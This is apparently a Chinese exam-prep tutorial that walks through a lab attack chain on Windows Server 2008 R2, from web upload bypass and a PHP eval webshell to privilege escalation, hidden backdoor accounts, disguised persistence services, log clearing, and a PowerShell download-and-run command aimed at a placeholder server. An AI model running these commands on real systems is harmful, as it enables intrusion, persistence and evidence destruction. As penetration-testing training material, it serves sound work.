ARTICLE DETAIL

资讯详情

深耕网站建设、视觉设计与SEO优化的一线实战洞察。

CISP-PTE实战:从Web渗透到Windows提权的完整攻击链解析

CISP-PTE实战:从Web渗透到Windows提权的完整攻击链解析

1. 项目概述:一次完整的渗透测试实战演练

最近在准备CISP-PTE认证的实操部分,发现很多朋友对“从Web渗透到系统提权”这个完整链条的理解还是停留在理论层面,尤其是面对像Windows Server 2008 R2这样的经典靶场环境时,容易在各个环节卡壳。今天,我就以一个典型的CISP-PTE靶机环境为蓝本,带大家走一遍从外部信息探测到最终获取Shell的完整流程。整个过程会重点使用BurpSuite进行Web漏洞挖掘与利用,并最终通过蚁剑等工具实现权限提升,模拟一个贴近真实渗透测试工程师(PTE)的工作场景。无论你是正在备考CISP-PTE,还是想系统性提升自己的内网渗透能力,这篇实战记录都能提供一个清晰的、可复现的路径。我们不仅会操作,更会拆解每一步背后的逻辑,让你明白“为什么要这么做”,以及“遇到问题该怎么排查”。

2. 靶场环境与核心思路拆解

2.1 靶场环境特征与攻击面分析

我们面对的靶机是一台Windows Server 2008 R2。选择这个系统作为靶场非常有代表性:首先,它仍然是许多老旧内网系统中常见的服务器操作系统,生命力顽强;其次,其默认配置和已知漏洞(如MS17-010永恒之蓝)在渗透测试中极具教学价值;最后,从CISP-PTE的考核角度看,它涵盖了从外部Web应用到内部系统权限的完整攻击链。

攻击的起点通常是一个对外开放的Web服务端口(如80、443)。我们的核心思路遵循经典的渗透测试流程:信息收集 -> 漏洞挖掘 -> 漏洞利用 -> 权限维持 -> 横向移动/权限提升。在本场景中,目标是从一个低权限的Web Shell(例如通过文件上传或SQL注入获取的)出发,突破系统限制,最终获取到目标服务器的最高权限(通常是SYSTEM或Administrator)。这中间会涉及对Windows系统服务、注册表、计划任务、内核漏洞等多方面的知识运用。

2.2 工具选型与策略考量

工欲善其事,必先利其器。针对Win2008 R2的渗透,工具链的选择直接关系到效率和成功率。

  • 信息收集与扫描:Nmap 是毋庸置疑的端口扫描和版本探测利器。对于Web路径和敏感文件发现,Dirsearch 或 Gobuster 比传统的御剑速度更快、更精准。BurpSuite 作为中间人代理,将是我们拦截、重放、扫描Web请求的核心,它的Intruder模块在暴力破解和模糊测试时无可替代。
  • 漏洞利用与Web渗透:对于常见的SQL注入、文件上传漏洞,手工结合Sqlmap、BurpSuite往往能取得奇效。一旦发现文件上传点,我们会尝试上传一句话木马(如PHP、ASPX),并用中国菜刀或蚁剑进行连接。这里选择蚁剑(AntSword)是因为其跨平台、插件化且支持加密连接,在绕过简单WAF方面有优势。
  • 提权与后渗透:获取Web Shell后,我们进入了一个受限的命令执行环境。此时需要信息收集来寻找提权突破口。常用的本地信息收集脚本有Windows-Exploit-Suggester、PowerUp.ps1(PowerSploit套件的一部分)、JAWS等。根据收集到的系统补丁、安装的服务、权限配置等信息,我们再决定提权路径:是利用未打补丁的系统漏洞(如MS16-032、MS17-010),还是利用错误配置的服务权限(如AlwaysInstallElevated)、或是滥用计划任务等。

注意:所有操作必须在授权的靶场或实验环境中进行。未经授权对任何系统进行渗透测试都是非法行为。

3. 外部信息收集与Web漏洞挖掘

3.1 端口扫描与服务识别

实战第一步,我们需要知道靶机开了哪些门。使用Nmap进行一个全面的扫描:

nmap -sS -sV -O -p- 192.168.1.100
  • -sS: SYN半开放扫描,速度快且相对隐蔽。
  • -sV: 探测端口上运行的服务及其版本。
  • -O: 尝试识别操作系统。
  • -p-: 扫描所有65535个端口。

扫描结果可能显示开放了80端口(HTTP)、445端口(SMB)、3389端口(RDP)等。对于Web渗透,我们聚焦80/443端口。假设发现80端口运行着IIS 7.5(Win2008 R2的默认Web服务器),这就是我们的主攻方向。

3.2 目录爆破与敏感文件发现

知道有Web服务后,下一步是探索网站结构。使用Dirsearch进行目录爆破:

python3 dirsearch.py -u http://192.168.1.100 -e php,asp,aspx,jsp,html,htm -t 50

这个命令会尝试用字典去猜测目标服务器上存在的目录和文件。-e参数指定了常见的Web脚本后缀。在结果中,我们可能会发现诸如/admin//upload//phpmyadmin//backup/等关键目录,或是robots.txtcrossdomain.xml等可能泄露信息的文件。

手动浏览网站,观察功能点,如登录框、搜索框、文件上传点、留言板等,这些都是潜在的漏洞入口。同时,用BurpSuite代理浏览器流量,查看每一个请求和响应,寻找隐藏参数、不安全的Cookie、有趣的响应头等信息。

3.3 漏洞挖掘实战:以文件上传为例

假设我们在/upload/目录下发现了一个文件上传功能。这是Web渗透中极高价值的突破口。

  1. 基础绕过测试:首先尝试上传一个正常的图片文件,确认功能可用。然后,尝试上传一个简单的文本文件,内容为<?php phpinfo();?>,保存为test.php。如果服务器仅通过后缀名(如.php)过滤,此步可能直接成功。
  2. 前端绕过:如果页面有JavaScript校验,可以尝试禁用浏览器JS,或使用BurpSuite拦截上传请求,修改文件名test.jpgtest.php后再放行。
  3. 服务端绕过:
    • 黑名单绕过:尝试非常规后缀,如test.php5,test.phtml,test.phps,.htaccess(配合解析漏洞)等。
    • 内容检测绕过:在PHP代码前添加图片文件头(如GIF89a),制作图片马。或者利用exif_imagetype()函数只检测文件头部的特性。
    • 解析漏洞:对于IIS,可以尝试test.asp;.jpgtest.asp:.jpg(需特定条件)。对于Apache,可尝试test.php.jpg(如果配置了错误的多重后缀解析)。
    • 竞争条件:上传一个内容为生成木马的文件,在上传成功到被安全组件删除的极短时间内,访问它从而执行代码。

在BurpSuite的Repeater模块中,我们可以反复修改上传请求的各个部分(文件名、Content-Type、文件内容)进行测试。一旦上传成功,并且能通过Web访问到该文件(如http://192.168.1.100/upload/test.php)并看到代码执行结果(如phpinfo页面),我们就获得了最初的立足点。

4. WebShell连接与内网信息收集

4.1 蚁剑连接与初步控制

上传一个功能更强大的WebShell,例如一句话木马<?php eval($_POST[‘ant’]);?>,保存为shell.php。使用蚁剑添加Shell:

  1. 在蚁剑中添加数据,URL填写http://192.168.1.100/upload/shell.php
  2. 连接密码填写ant(与POST参数名一致)。
  3. 编码器选择default(base64),可以有效绕过一些简单的流量检测。
  4. 点击添加,如果一切正常,左侧会出现服务器文件树。

连接成功后,我们相当于拥有了一个在Web服务器进程(如IIS的w3wp.exe)权限下执行命令的能力。这个权限通常很低,可能是IIS_IUSRSNETWORK SERVICE,我们需要收集信息来寻求提权。

4.2 系统内部信息收集

在蚁剑的虚拟终端中,执行一系列命令来绘制系统内部画像:

# 查看当前用户权限 whoami && whoami /priv # 查看系统信息 systeminfo # 查看网络连接和监听端口 netstat -ano # 查看进程列表 tasklist # 查看已安装的软件和补丁 wmic product get name,version # 或查看补丁更准确 wmic qfe get Caption,Description,HotFixID,InstalledOn # 查看计划任务 schtasks /query /fo LIST /v # 查看服务及其权限(寻找弱权限服务) sc query # 或者使用更详细的命令 accesschk.exe -uwcqv "Authenticated Users" * /accepteula # 需要上传accesschk工具 # 查看敏感文件或目录的权限 icacls C:\Windows\System32\cmd.exe icacls "C:\Program Files"

将这些信息保存下来。特别是systeminfo的输出,可以用于离线比对已知的提权漏洞。例如,查看系统补丁是否缺少MS16-032、MS17-010等。同时,关注哪些服务是以SYSTEM权限运行但目录或文件权限配置不当,允许低权限用户修改。

5. 系统提权路径分析与实战

5.1 利用系统内核漏洞提权

这是最直接有效的提权方式。将之前收集的systeminfo结果复制下来,在本地使用Windows-Exploit-Suggester工具进行分析。

# 更新漏洞数据库 python windows-exploit-suggester.py --update # 比对系统信息,寻找可能的漏洞 python windows-exploit-suggester.py --systeminfo sysinfo.txt --database 2024-MM-DD-mssb.xls

工具会列出可能适用的本地提权漏洞。例如,它可能提示MS16-032(Secondary Logon Handle)漏洞在未打补丁的Win2008 R2上存在。我们可以从Exploit-DB或GitHub搜索对应的利用代码(通常是一个PowerShell脚本或可执行文件)。

实战步骤:

  1. 将提权利用程序(如MS16-032的PowerShell脚本Invoke-MS16-032.ps1)上传到靶机可写目录。
  2. 在蚁剑的Web Shell中,尝试执行PowerShell命令来加载并运行该脚本。由于权限限制,可能需要在命令前加上powershell -exec bypass -c “...”
  3. 如果利用成功,会弹回一个具有更高权限(通常是SYSTEM)的Shell。我们可以通过蚁剑的“反弹Shell”功能,或使用Netcat、PowerShell Empire等工具接收这个高权限会话。

实操心得:内核漏洞提权成功率虽高,但动静大,可能触发杀毒软件。务必先做好信息收集,精准利用,并准备好备用方案。如果靶机补丁较全,此路可能不通。

5.2 利用服务配置错误提权

如果内核漏洞路径走不通,我们转而寻找系统的“配置缺陷”。这里有几个经典方向:

  • 服务路径/二进制文件权限不当:使用sc qc <服务名>查看某个服务的可执行文件路径。然后使用icacls “路径”检查该文件或所在目录的权限。如果发现某个以SYSTEM权限运行的服务,其对应的.exe文件允许“Authenticated Users”或“Everyone”进行写入,那么我们可以上传一个恶意的同名exe文件进行替换,重启服务后即可获得SYSTEM权限。
    • 风险:重启服务可能引起管理员警觉。
  • AlwaysInstallElevated:检查注册表项HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevatedHKLM\...是否都被设置为1。如果是,意味着任何MSI安装包都将以高权限运行。我们可以使用msfvenom生成一个恶意的MSI文件,上传并执行,即可提权。
    • 命令检查:reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
  • 计划任务提权:查看计划任务(schtasks),寻找那些以高权限运行、且其执行的操作(脚本或程序)所在目录我们有写入权限的任务。我们可以替换该脚本,等待任务执行。

5.3 利用弱密码或令牌窃取

如果通过Web渗透获取的Shell权限非常有限,但发现系统内存在其他高权限进程或会话,可以尝试:

  • 本地密码哈希抓取:上传MimikatzProcdump+ 本地解析,尝试抓取内存中的明文密码或哈希。命令如privilege::debugsekurlsa::logonpasswords。但在Win2008 R2上,需要绕过LSA保护等限制,对操作者要求较高。
  • 令牌窃取:如果发现有SYSTEM权限的进程(如spoolsv.exe)存在,并且我们通过某些漏洞(如PrintNightmare)能模拟其令牌,也可以获得SYSTEM权限。这通常需要更复杂的利用链。

6. 权限维持与痕迹清理

6.1 创建后门账户

获得SYSTEM权限后,为了长期控制,通常需要创建一个隐藏的后门管理员账户。

# 创建一个名为“$”的隐藏用户(在命令行net user中不显示,但在控制面板可见) net user hacker$ P@ssw0rd! /add net localgroup administrators hacker$ /add # 更隐蔽的方式:激活Guest账户并提权,或修改现有不常用账户的密码 net user guest /active:yes net user guest P@ssw0rd! net localgroup administrators guest /add

注意:这种基础方法在安全审计中容易被发现。更高级的做法是制作内存马、注册表注入后门、服务后门或计划任务后门。

6.2 部署持久化后门

  • 服务后门:创建一个自启动服务,指向我们的木马程序。
    sc create “WindowsUpdateCheck” binPath= “C:\Windows\Temp\backdoor.exe” start= auto sc start WindowsUpdateCheck
  • 计划任务后门:创建定时执行的计划任务。
    schtasks /create /tn “SystemHealthCheck” /tr “C:\Windows\Temp\backdoor.exe” /sc hourly /mo 1 /ru “SYSTEM”
  • 启动项后门:将木马程序或脚本放入C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp(所有用户)或对应用户的AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup目录。

6.3 清理入侵痕迹

在授权测试结束前,需要清理痕迹,避免影响靶机后续使用或留下明显证据。

  1. 删除日志:清除事件查看器中安全、系统、应用程序日志的相关条目。可以使用wevtutil命令。
    wevtutil cl security wevtutil cl system wevtutil cl application
    (注意:这会清空整个日志,在真实环境中需谨慎,通常只删除特定事件ID的日志条目更隐蔽)。
  2. 删除上传的工具和WebShell:使用delrm命令删除上传的渗透工具、脚本和WebShell文件。
  3. 删除创建的用户:如果创建了后门账户,在测试完成后将其删除。
    net user hacker$ /delete net user guest /active:no
  4. 恢复修改的配置:如果修改了服务、计划任务或注册表,将其恢复原状。

7. 常见问题排查与实战技巧

在整套流程中,你肯定会遇到各种报错和障碍。这里记录几个高频问题的解决思路:

问题1:上传的WebShell无法访问或返回404/500错误。

  • 排查:首先确认上传路径是否正确。其次,检查服务器是否解析该后缀(如上传了.php但服务器只解析.asp)。用BurpSuite抓包查看上传请求的完整响应,看是否有安全软件拦截的提示。最后,检查WebShell代码本身是否有语法错误,或使用了被禁用的函数(如evalsystem)。可以尝试上传一个最简单的<?php echo “test”;?>来测试解析。

问题2:蚁剑连接WebShell成功,但执行命令无回显或权限不足。

  • 排查:这通常是Web服务器进程权限太低所致。执行whoami确认身份。尝试执行一些无害的命令如direcho %PATH%。如果完全无回显,可能是disable_functions禁用了命令执行函数,需要尝试其他函数或编码方式。蚁剑可以尝试切换不同的“编码器”和“连接类型”。

问题3:内核漏洞利用程序执行后没有返回高权限Shell。

  • 排查:
    1. 补丁状态:再次确认systeminfo,确保漏洞确实存在且未打补丁。有时漏洞有多个变种,需要尝试不同的利用代码。
    2. 利用程序兼容性:确保利用程序(exe或ps1)与目标系统架构(x86/x64)匹配。Win2008 R2通常是64位,但很多利用程序是32位的,可能需要特殊参数或编译版本。
    3. 杀软拦截:上传的利用程序可能被实时防护删除。尝试对利用程序进行混淆、编码或使用内存加载(PowerShell无文件落地)的方式执行。
    4. 会话稳定性:反弹Shell的端口是否被防火墙阻挡?监听端是否已正确启动?

问题4:提权成功后,无法进行网络通信(如无法下载文件、无法反弹Shell)。

  • 排查:检查新获得的权限会话的网络配置。执行ipconfig /allnetstat -ano。可能是Windows防火墙阻止了出站连接。尝试在提权后的Shell中关闭防火墙(netsh advfirewall set allprofiles state off),或者使用允许的端口(如80、443)进行反弹。

实战技巧记录:

  • 信息收集要全面:不要只盯着systeminfo,进程列表、服务列表、网络连接、安装的软件、计划任务都可能藏着提权的钥匙。
  • 善用PowerShell:在Windows靶场上,PowerShell是比CMD强大得多的工具。很多提权脚本和后期利用工具都是PowerShell写的。即使Web Shell限制了某些功能,也可以尝试powershell -c “iex (New-Object Net.WebClient).DownloadString(‘http://your-server/PowerUp.ps1’); Invoke-AllChecks”这样的远程加载方式。
  • 保持隐蔽:在真实测试中,尽量避免直接上传知名黑客工具(如mimikatz.exe),它们的特征码很容易被查杀。可以尝试自定义编译、代码混淆、或使用Living-off-the-Land Binaries (LOLBAS) 项目中的合法系统工具来实现恶意功能。
  • 多层跳板:如果Web Shell不稳定,提权成功后第一时间建立更稳定的通道,如使用plink.exe(Putty Link)建立SSH隧道,或使用netsh添加端口转发,将内网端口映射到攻击机。

整个从Web渗透到系统提权的旅程,就像一场精心策划的闯关游戏,每一关都需要不同的知识储备和临场应变能力。Win2008 R2靶场是一个绝佳的练习场,它几乎涵盖了传统内网渗透会遇到的大部分典型场景。多练、多思考、多总结,把每一次“打靶”都当成真实环境来对待,你的渗透测试技能树才会扎实地生长起来。最后记住,所有的技术都应在法律和道德允许的范围内使用,保护网络安全才是学习的最终目的。

返回列表